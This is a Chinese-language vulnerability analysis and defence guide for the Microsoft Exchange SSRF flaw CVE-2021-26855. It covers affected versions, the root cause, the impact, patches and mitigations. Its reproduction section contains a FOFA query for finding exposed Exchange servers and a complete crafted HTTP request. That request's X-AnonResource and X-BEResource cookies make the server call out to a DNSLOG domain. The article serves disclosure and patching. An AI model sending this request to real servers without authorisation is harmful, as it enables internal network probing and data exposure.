Microsoft Exchange SSRF漏洞(CVE-2021-26855)深入分析与防护指南

0x01 漏洞概述

CVE-2021-26855是Microsoft Exchange Server中的一个严重SSRF(服务器端请求伪造)漏洞，于2021年3月由微软披露。该漏洞允许攻击者构造恶意请求，以Exchange Server的身份发起任意HTTP请求，无需任何身份验证即可利用。

漏洞本质

• 类型：服务器端请求伪造(SSRF)
• 认证要求：无需认证
• 影响范围：可扫描内网、获取Exchange用户信息

0x02 受影响版本

以下Exchange Server版本受此漏洞影响：

• Exchange 2013:

  • 所有低于15.00.1497.012的版本

• Exchange 2016:

  • CU18及以下版本：低于15.01.2106.013
  • CU19版本：低于15.01.2176.009

• Exchange 2019:

  • CU7版本：低于15.02.0721.013
  • CU8版本：低于15.02.0792.010

0x03 漏洞复现与验证

环境准备

1. 使用FOFA等搜索引擎查找目标：app="Exchange"
2. 准备Burp Suite等拦截工具

漏洞验证步骤

1. 构造恶意请求：

   GET /owa/auth/x.js HTTP/1.1
   Host: [目标IP]
   Connection: close
   sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
   sec-ch-ua-mobile: ?0
   Upgrade-Insecure-Requests: 1
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
   Sec-Fetch-Site: same-origin
   Sec-Fetch-Mode: navigate
   Sec-Fetch-Dest: document
   Referer: https://[目标IP]/owa/auth/logon.aspx?url=https%3a%2f%2f[目标IP]%2fowa%2f&reason=0
   Accept-Encoding: gzip, deflate
   Accept-Language: zh-CN,zh;q=0.9
   Cookie: X-AnonResource=true; X-AnonResource-Backend=[DNSLOG域名]/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;
   

2. 关键点说明：

   • /owa/auth/x.js路径中的x.js可以替换为任意不存在的文件名
   • Cookie中包含三个关键字段：
     • X-AnonResource=true
     • X-AnonResource-Backend=[DNSLOG域名]
     • X-BEResource=localhost/owa/auth/logon.aspx?~3

3. DNSLOG验证：

   • 可使用以下DNSLOG服务验证漏洞：
     • Burp Collaborator Client
     • dnslog.cn
     • ceye.io
     • 零组Dnslog
   • 如果漏洞存在，Exchange服务器会向指定的DNSLOG域名发起请求

0x04 漏洞原理分析

该漏洞源于Exchange Server在处理特定HTTP请求时的SSRF缺陷：

1. 攻击者通过精心构造的Cookie头，诱使Exchange服务器向内部或外部系统发起请求
2. Exchange服务器会解析X-AnonResource-Backend指定的URL并尝试连接
3. 由于缺乏充分的输入验证和访问控制，导致任意HTTP请求被允许

0x05 漏洞危害

成功利用此漏洞可导致：

1. 内网探测：

   • 扫描内网服务
   • 识别内网拓扑结构

2. 信息泄露：

   • 获取Exchange用户信息
   • 访问内部API接口

3. 进一步攻击：

   • 结合其他漏洞提升攻击效果
   • 作为攻击链的一部分

0x06 修复建议

立即措施

1. 安装安全更新：

   • 微软已发布补丁，应立即升级到以下版本：
     • Exchange 2013: 15.00.1497.012或更高
     • Exchange 2016 CU18: 15.01.2106.013或更高
     • Exchange 2016 CU19: 15.01.2176.009或更高
     • Exchange 2019 CU7: 15.02.0721.013或更高
     • Exchange 2019 CU8: 15.02.0792.010或更高

2. 临时缓解措施：

   • 如果无法立即更新，可考虑：
     • 限制对/owa和/ecp路径的外部访问
     • 在防火墙级别阻止异常HTTP请求

长期防护策略

1. 网络隔离：

   • 将Exchange服务器放置在DMZ区域
   • 实施严格的网络分段

2. 监控与检测：

   • 监控异常的HTTP请求模式
   • 设置针对SSRF攻击的警报

3. 安全加固：

   • 遵循微软Exchange安全最佳实践
   • 定期进行安全审计和漏洞扫描

0x07 参考资源

1. 微软官方安全公告
2. CVE-2021-26855漏洞详情
3. Exchange Server更新日志

免责声明

本文档仅用于教育目的和安全研究，旨在帮助组织防御此类攻击。未经授权对系统进行测试或攻击是违法行为。